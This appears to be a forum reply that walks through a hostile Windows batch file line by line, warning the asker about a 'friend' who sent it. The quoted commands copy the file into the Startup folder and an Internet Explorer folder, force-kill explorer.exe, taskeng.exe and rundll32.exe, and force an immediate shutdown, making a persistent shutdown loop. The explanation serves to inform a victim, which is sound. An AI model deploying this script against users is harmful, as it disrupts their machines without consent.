|Here's a breakdown:|
Doesn't show you what it's doing, most batch files have this at the start.
copy %0 "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"
I "believe" that this is copying itself to your startup folder.
start "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\copy.bat"
Starting itself, assuming you named it copy.bat..., but you didnt, then this wont work.
copy %0 "C:\Program Files\Internet Explorer\en-US"
start "C:\Program Files\Internet Explorer\en-US\copy.bat"
Starting and copying itself again, but this time to your internet explorer folder... =/
taskkill /f /im "explorer.exe"
taskkill /f /im "taskeng.exe"
taskkill /f /im "rundll32.exe"
Shutting down essential windows components,
Shutdown /s /f /t 5
And finally, shuts down your computer.
Nice friend you have there...